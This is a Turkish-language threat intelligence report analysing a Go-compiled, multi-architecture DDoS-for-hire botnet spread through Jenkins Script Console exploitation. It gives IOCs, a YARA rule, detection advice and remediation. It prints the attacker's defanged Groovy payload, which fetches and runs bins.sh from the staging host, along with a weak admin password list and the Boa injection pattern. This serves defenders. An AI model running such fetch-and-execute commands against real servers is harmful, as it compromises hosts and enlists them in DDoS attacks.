malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

Çok Platformlu Bir Go DDoS Kiralık-Botnet'i

Kinryū Labs, çok günlük bir Jenkins Script Console istismar kampanyasıyla teslim edilen ve 11 ikili, 13 mimarilik bir damlalık (dropper) paketi olarak dağıtılan, Go ile derlenmiş bir DDoS botnet'inin Windows derlemesi olan bot.exe'yi analiz etti. Aşamalandırma ana makinesinin keşfi; canlı, kimlik doğrulamalı bir DDoS-kiralık API'si, bir Go SSH komut kanalı ve aynı makinede barındırılan Mirai soyundan bir aile belirledi. Bunun ticari bir DDoS-kiralık operasyonu olduğunu yüksek güvenle değerlendiriyoruz.

Yazan Davis Zheng·

TLP:CLEAR. Yayım için onaylandı. Örnek ve damlalık paketi, birkaç sensörde gözlemlenen çok günlük bir Jenkins istismar kampanyası sırasında Kinryū Labs bal küpü (honeypot) sensör ağı tarafından yakalandı. Yakalanan ikililer statik olarak analiz edildi ve çalıştırılmadı; operatörün aşamalandırma ana makinesi aktif dış keşifle (hizmet sıralaması, anonim FTP listeleme ve açıkta duran bir API’nin kimlik doğrulamasız yoklanması) karakterize edildi ve hiçbir kimlik doğrulama aşılmadı. Saldırgan göstergeleri etkisizleştirilmiştir (defanged).

Yönetici özeti

  • 13mimari derlemesi, 11 benzersiz ikili
  • 5adlandırılmış DDoS yöntemi, artı bir kiralık API
  • 3tek bir /22 içinde koordineli kaynak IP
  • 2tek bir ana makinede botnet ailesi

bot.exe, çok mimarili bir damlalık paketi olarak dağıtılan, Go ile derlenmiş bir DDoS botnet’inin Windows x86-64 derlemesidir. Bir yardımcı kabuk betiği olan bins.sh, tekilleştirmeden sonra on biri benzersiz olan on üç mimari derlemesini getirir; bunlar 32 ve 64 bit x86, dört ARM profili, ARM64, Android ARM64 ve big-endian ile little-endian MIPS’i, Windows ikilisinin yanı sıra kapsar. Paket, bal küpü ağına açıkta duran bir Jenkins sunucusunun istismarı yoluyla ulaştı.

Kötü amaçlı yazılım; adlandırılmış beş sel (flood) yöntemi (HTTP, TLS el sıkışma, ICMP, doğrudan TLS ve VOULT etiketli hacimsel bir yöntem), meşru trafiğe benzemek için tarayıcı User-Agent dizelerini ve yerel ayar (locale) başlıklarını döndüren bir HTTP seli ve kendi kendine yayılma için RealTek SDK cihazlarındaki Boa web sunucusunu hedef alan komut enjeksiyonu yükleri gömer. 185.226.93[.]242 adresindeki aşamalandırma ana makinesinin keşfi; 3333 portunda kimlik doğrulamalı bir DDoS-kiralık API’si, komut kanalı olarak hizmet veren 2222 portunda Go ile gerçeklenmiş bir SSH hizmeti ve Mirai/Gafgyt soyundan ikinci bir botnet ailesini aşamalandıran anonim bir FTP hizmeti belirledi.

Kinryū Labs, bot.exe’nin ticari bir kiralık hizmet olarak işletilen, kötü amaçlı, kendi kendine yayılan, çok mimarili bir DDoS botnet’inin parçası olduğunu yüksek güvenle değerlendirir. Değerlendirmeyi üç bulgu taşır: ikilinin kendi saldırı yöntemi ve istismar dizeleri; operatörün aşamalandırma ana makinesinde iş parametrelerini doğrulayan ve kimlik doğrulaması gerektiren canlı bir kiralık API; ve paketi teslim eden, sürekli, çok düğümlü bir kampanyanın bal küpü telemetrisi.

Temel değerlendirmeler
  • bot.exe, çok platformlu bir Go DDoS botnet'idir. Beş farklı sel yöntemi günlük dizesi, tarayıcı taklidi düzeneği ve SOCKS5 desteğiyle birlikte hedef ve süre parametrelerini taşır; hepsi karartılmamış dizelerde ve canlı API ile doğrulanmış.
  • Operasyon, ticari bir DDoS-kiralık hizmeti olarak işler. Aşamalandırma ana makinesi, 3333 portunda iş parametrelerini (user, psw, host, method, time, port) doğrulayan ve geçersiz kimlik bilgilerini reddeden bir API açığa çıkarır.
  • Botnet, IoT komut enjeksiyonu yoluyla kendi kendine yayılır. İkili; bir Boa formSysCmd komut enjeksiyonu yükü, bir yönlendirici oturum açma kaba kuvvet yolu ve dışa aktarılmış loginDevice ile loginDeviceCaptcha işlevleri taşır ve bal küpü günlüklerinde kaydedilen aynı tek satırlık damlalığı enjekte eder.
  • Üç kaynak IP tek bir operatördür. 185.226.92[.]0/22 içindeki üç adres, koordineli zamanlama ve ortak bir kimlik bilgisi listesiyle özdeş yükler teslim etti ve teslim ile aşamalandırma IP'leri özdeş SSH ana makine anahtarları sunar; bu, tek bir ana makineye ya da klonlanmış imajlara işaret eder.

Teslim: sürekli bir Jenkins Script Console kampanyası

Paket, internete açık bir Jenkins örneğinin istismarıyla teslim edildi. Bal küpü telemetrisi tutarlı bir iki adımlı yöntem kaydetti: CSRF belirtecini almak için bir GET /crumbIssuer/api/json, ardından bir Groovy Script Console yükü taşıyan bir POST /script. Yük denemeler boyunca özdeşti ve burada etkisizleştirilmiştir:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

İstekler, admin hesabı için kısa bir zayıf sayısal parola sözlüğünü döndüren bir Authorization: Basic başlığı taşıdı (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123); bu, hedefli kimlik doğrulamadan çok otomatik bir kimlik bilgisi listesinin işaretidir.

Kampanya birkaç gün boyunca tekrarlanan dalgalar halinde yürüdü:

  • 1. Dalgaİlk yoklamalar: CSRF-crumb kontrolü ardından Groovy RCE, aşamalandırma IP'sinden ve aynı bloktaki ikinci bir adresten.
  • Yakalamabins.sh ve on üç varyantın hepsi, yaklaşık on dört saat arayla iki sensörde kurtarıldı; ikisinde de bayt bayt özdeş.
  • Sonraki dalgalarÜç kaynak IP'nin hepsinden, birbirinden dakikalar içinde, döndürülen User-Agent'larla paralel istismar.

İstismar istekleri gerçekçi tarayıcı User-Agent’larından oluşan geniş bir kümeyi döndürürken, daha fazla Jenkins hedefi arayan keşif taraması (bir /login getirmenin ardından hızlı bir /script isteği patlaması) varsayılan Go-http-client/1.1’i kullandı. Sahte User-Agent’lar istismar yüklerine biner; tarayıcı botnet’in yerel Go istemcisini kullanır. Aşamalandırma ve C2 ana makinesinin kendisi istismara katıldı, dolayısıyla saldırı ve barındırma altyapısı ayrılmamıştır.

Kötü amaçlı yazılım: tek bir Go kod tabanı, on bir ikili

Botu Go ile yazmak, tek bir kod tabanının operatörün istediği her hedefe çapraz derlenmesine izin verir. Damlalık, tüm ürün hattını dolaşır; her derlemeyi wget ile ve bir yedek olarak yeniden curl ile getirir, çalıştırılabilir olarak işaretler, çalıştırır ve siler. Paket, Linux damlalığının yine de chmod +x’ten geçirdiği bir Windows .exe’si içerir ve betiğin ürettiği yapı, bir derle-ve-listele boru hattına işaret eder. Tekilleştirmeden sonra on üç derleme on bir benzersiz ikiliye iner: x86 ve i386 derlemeleri eşleşir, jenerik ARM ve ARMv7 derlemeleri gibi. MIPS ve eski ARM’den Android’e uzanan mimari yelpazesi, yönlendiricileri, kameraları ve diğer gömülü cihazları hedef alan bir botnet’i işaret eder; Windows derlemesi ise aynı kodu masaüstlerine ve sunuculara taşır.

İkili paketlenmemiş (PE bölüm entropileri 5.4 ile 6.3 arasında düşer) ve soyulmamış (strip’lenmemiş) (Go build ID ve çalışma zamanı sembolleri sağlamdır), dolayısıyla yetenekleri düz dizelerde oturur. Derleme zaman damgası sıfırlanmıştır ki bu Go derlemeleri için normaldir.

İkilinin günlük dizelerinde beş sel yöntemi adlandırılmıştır ve her biri bir hedef ve bir süreyle biçimlendirilmiştir: bir “HTTP (Optimized)” seli, bir TLS/TCP “Handshake” tüketim seli, bir ICMP “PING” seli, doğrudan bir “TLS+” oturum seli ve hacimsel ve muhtemelen UDP tabanlı bir “VOULT” yöntemi. Hem uygulama katmanı hem de ağ katmanı seçenekleri mevcuttur.

HTTP seli meşru trafik olarak geçecek şekilde kurulmuştur. Windows, macOS, iPad ve Android üzerinde Chrome, Edge, Opera, Firefox ve Safari’ye ait ondan fazla tarayıcı User-Agent dizesini; on beş Accept-Language yerel ayarını; ve azaltma (mitigation) hizmetlerinin denetlediği sec-fetch-* ve sec-ch-ua-* parmak izi başlıklarını döndürür. Küçük bir yüksek itibarlı site kümesinden (google.com, reddit.com, facebook.com, bing.com, twitter.com ve fbi.gov) bir Referer ayarlar. User-Agent kümesindeki bir girdi, birebir Hello World dizesidir; hiçbir meşru istemci bunu göndermediği için temiz bir tespit imzası oluşturan bir geliştirici yer tutucusu.

Yayılma, birçok RealTek SDK yönlendiricisi ve kamerasında hâlâ gönderilen küçük bir gömülü HTTP arka plan süreci olan Boa web sunucusunu hedef alır. İkili, Boa’nın formSysCmd işleyicisine karşı bir komut enjeksiyonu yükü ve yönlendirici yönetici arayüzlerine karşı bir oturum açma kaba kuvvet yolu taşır; JSON kimlik bilgisi alanları ve dışa aktarılmış loginDevice ile loginDeviceCaptcha işlevleriyle. Enjekte edilen komut tek satırlık damlalıktır, dolayısıyla ele geçirilmiş bir cihaz bir sonrakinin teslim noktası olur.

Vendor’lanmış Go modüllerinin hepsi standart golang.org/x paketleridir; bağlı üçüncü taraf bir C2 çerçevesi yoktur. Bunlar chacha20poly1305, http2/hpack, dns/dnsmessage ve http/httpproxy’yi içerir ve gözlemlenebilir yeteneklerle eşleşir: kimlik doğrulamalı-şifrelenmiş bir kanal, HTTP/2, ham DNS ve SOCKS5 vekilleme (socks5, socks connect ve socksUsernamePassword dizeleri mevcuttur). C2 yapılandırması çalışma zamanında hxxp://<C2>/config.dat’tan alınır; ikilideki tek sabit kodlanmış adres aşamalandırma ana makinesidir.

Komuta-kontrol ve aşamalandırma altyapısı

Aşamalandırma ana makinesinin keşfi aşağıdaki hizmetleri belirledi:

PortHizmetAmaç
21/tcpvsftpd 3.0.3, anonim oturum açma etkinKötü amaçlı yazılım aşamalandırma (ikinci aile, aşağıda)
22/tcpOpenSSH 9.2p1 (Debian)Operatör erişimi
1001/tcpGo net/http sunucusuBirincil aşamalandırma: bins.sh ve varyantları sunar
2222/tcpGo SSH (SSH-2.0-Go)Bot komut kanalı
3333/tcpGo net/http sunucusuDDoS-kiralık API’si

Kiralık değerlendirmesini iki bulgu destekler. Teslim IP’si ve aşamalandırma ana makinesi özdeş ED25519, RSA ve ECDSA SSH ana makine anahtarları sunar; bu onları aynı makineye ya da tek bir şablondan klonlanmış imajlara yerleştirir ve 2222 portundaki Go SSH hizmeti, 22 portundaki sistem OpenSSH’sinden farklı bir anahtar sunar; bu onu bir yönlendirme değil ayrı bir uygulama olarak işaretler. 3333 portundaki API, eksik parametreler için bir isteği reddeder (user, psw, host, method, time/duration, port) ve test kimlik bilgileri için bir kimlik doğrulama hatası döndürür; diğer tüm yollar 404 döndürür. Bu, canlı altyapı üzerinde çalışan ticari bir booter’ın asgari, istek başına kimlik doğrulamalı arayüzüdür.

Aynı ana makinede ikinci bir aile

Anonim FTP hizmeti, dosya adlarından ötürü burada “boatnet” olarak anılan ayrı bir botnet ailesini aşamalandırır. Damlalığı (ohshit1.sh) BusyBox ftpget istemcisini kullanır, çalıştırmadan önce her ikiliyi WTF olarak yeniden adlandırır ve Mirai/Gafgyt soyundan egzotik gömülü hedefler (ARC, m68k, SH4, SPARC) dahil on beş mimari boyunca derlemeleri arka planda başlatır. İkililer C ile derlenmiş ELF, soyulmuş (strip’lenmiş) ve paketlenmiştir (UPX sihirli sayısı olmadan 7.6 ile 7.9 entropi, özel bir paketleyiciye işaret eder), dolayısıyla statik incelemeden pek az şey kurtulur. boatnet eserleri bot.exe paketinden öncedir ve ilgisiz bir kod tabanı çalıştırır, dolayısıyla tek bir ana makine iki ayrı botnet ailesini aşamalandırır.

Barındırma

Her iki saldırgan IP’si de 185.226.92[.]0/22 içinde düşer; RIPE NCC üzerinden Türkiye merkezli bir VPS sağlayıcısına (ağ adı BIGCORE-US, AS205196 / AS57152) kayıtlıdır ve [email protected] kötüye kullanım (abuse) irtibatına sahiptir. Barındırma sağlayıcısını raporlama amacıyla belirliyoruz ve operatörün kimliği hakkında hiçbir iddiada bulunmuyoruz.

İhlal göstergeleri

Saldırgan altyapısı etkisizleştirilmiştir. Örnek özetleri (hash) ve tespit dizeleri, tasarımı gereği canlı değerler taşır.

GöstergeBağlam
185.226.93[.]242Aşamalandırma + C2 ana makinesi; ayrıca aktif bir tarayıcı
185.226.92[.]110Birincil tarayıcı / teslim düğümü
185.226.92[.]173İkincil tarayıcı
185.226.92[.]0/22Barındırma tahsisi (BIGCORE, AS205196). Makul çevre engellemesi
185.226.93[.]242:1001HTTP aşamalandırma (bins.sh + varyantlar)
185.226.93[.]242:2222Go SSH komut kanalı
185.226.93[.]242:3333DDoS-kiralık API’si (/api, parametre kapılı)
185.226.93[.]242:21Anonim FTP, boatnet aşamalandırma
hxxp://<C2>/config.datÇalışma zamanı C2 yapılandırma alma deseni
/boafrm/formSysCmd, /boafrm/formLoginGiden yayılmada Boa RCE ve oturum açma kaba kuvvet URI’leri
SSH ana makine anahtarı (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…Teslim ve C2 IP’leri arasında paylaşılan; pivot göstergesi

Dosyalar

DosyaSHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (damlalık)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • bot.exe MD5 / SHA-1 / imphash: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • Go Build ID: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
Tam damlalık paketi özetleri (13 derleme boyunca 11 benzersiz)
DerlemeSHA-256Boyut (bayt)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

Ana makine ve kimlik bilgisi kalıntıları

  • Jenkins admin kaba kuvvet sözlüğü: 1123, 123451, 1231231, 1111111, 12345123.
  • ohshit1.sh (boatnet damlalığı) ve çalıştırmadan önce WTF olarak yeniden adlandırılmış bir ikili.
  • Ayırt edici User-Agent’lar: Hello World (bot HTTP seli) ve Go-http-client/1.1 (bot kendi kendini tarama).

Davranışsal

  • bins.sh’yi getiren bir Groovy ProcessBuilder('sh','-c', …) yükü taşıyan bir POST /script’in ardından gelen Jenkins GET /crumbIssuer/api/json.
  • Bir Connecting to CNC... günlük satırının öncelediği, /config.dat altındaki bir ana makineye giden giden istekler.
  • sysCmdselect=5 ve bir wget … bins.sh gövdesiyle gelen POST /boafrm/formSysCmd.

Tespit

Dizeler kararlı ve karartılmamıştır, dolayısıyla imzalar sade ve doğrudandır. Aşağıdaki YARA kuralı, doğrulanmış dizelerden oluşturulmuş bir adaydır; dağıtımdan önce doğrulayın.

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

Ağ tespiti:

  • Jenkins: ProcessBuilder’ı bir ham IP’ye wget/curl ile içeren, özellikle bir GET /crumbIssuer/api/json’un öncelediği POST /script gövdelerinde uyar.
  • IoT yayılması: content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";.
  • Altyapı: teslim ve C2 adreslerini kapsayan 185.226.92[.]0/22’yi engelle ve o aralıktaki 1001, 2222 ve 3333 portlarına giden bağlantılarda uyar.

Düzeltme

  • Jenkins’i internete açmayın. Onu kimlik doğrulama ve ağ yalıtımı arkasına yerleştirin, yöneticiler dışındakiler için Script Console’u devre dışı bırakın ve erişilebilir bir derleme sunucusunu tam bir ana makine ihlali riski olarak görün. Teslim vektörü buydu.
  • Güçlü Jenkins kimlik bilgilerini zorunlu kılın ve kimlik doğrulamayı hız sınırlayın. Kampanya, admin için kısa bir zayıf sayısal parola sözlüğüne dayandı.
  • RealTek/Boa tabanlı yönlendiricileri ve IoT cihazlarını bölümleyin ya da değiştirin ve yönetici arayüzlerine dış erişimi engelleyin. Bunlar botnet’in yayılma hedefidir.
  • Barındırma tahsisini (185.226.92[.]0/22) çevrede engelleyin ve Boa RCE URI’sinde ve config.dat alma deseninde uyarın.
  • Çıkışı (egress) filtreleyin. Mimari adlı dosyaları çekmek için 1001 portundaki bir ham IP’ye ulaşan ya da o aralıktaki 2222 veya 3333 portlarına bağlanan bir ana makine anormaldir ve ana makine tespitinin bulunmadığı yerde yakalanabilir.
  • Altyapıyı bildirin. DDoS-kiralık API’si ve FTP ile aşamalandırılan kötü amaçlı yazılım, barındırma sağlayıcısının kötüye kullanım irtibatına ([email protected]) bildirilebilir.

MITRE ATT&CK eşlemesi

TaktikTeknik
Initial AccessT1190 Exploit Public-Facing Application (Jenkins Script Console; yayılma için Boa formSysCmd)
Credential AccessT1110.001 Brute Force: Password Guessing (Jenkins admin); T1110.004 Credential Stuffing (IoT oturum açma)
ExecutionT1059 Command and Scripting Interpreter (Script Console üzerinden Groovy; Unix kabuk damlalığı)
DiscoveryT1046 Network Service Scanning (Jenkins/IoT kendi kendini tarama); T1082 System Information Discovery; T1057 Process Discovery
Defense EvasionT1036 Masquerading (tarayıcı User-Agent döndürme; boatnet WTF yeniden adlandırması)
Command and ControlT1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; 2222’de Go SSH); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS
Lateral Movement / DeliveryT1105 Ingress Tool Transfer (çok mimarili aşamalandırma)
ImpactT1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (el sıkışma tüketimi)

Metodoloji ve notlar

  • Kapsam: yakalanan ikililerin statik analizi (çalıştırılmadılar) ve aşamalandırma ana makinesinin aktif dış keşfi (hizmet ve banner sıralaması, anonim FTP listeleme ve 3333 portu API’sinin kimlik doğrulamasız yoklanması). Hiçbir kimlik doğrulama aşılmadı.
  • YARA kuralı, doğrulanmış dizelerden oluşturulmuş bir adaydır; dağıtımdan önce doğrulayın. boatnet ikilileri paketlenmiştir ve az sayıda dize verdi.
  • Örnekler (bot.exe paketi, damlalık ve boatnet eserleri) diğer araştırmacılara ve savunuculara talep üzerine sunulur. Kim olduğunuza ve ne için gerektiğine dair kısa bir notla [email protected] adresine yazın.
How to cite
Kinryū Labs (2026). Çok Platformlu Bir Go DDoS Kiralık-Botnet'i. https://kinryu.sh/tr/reports/go-ddos-botnet-for-hire/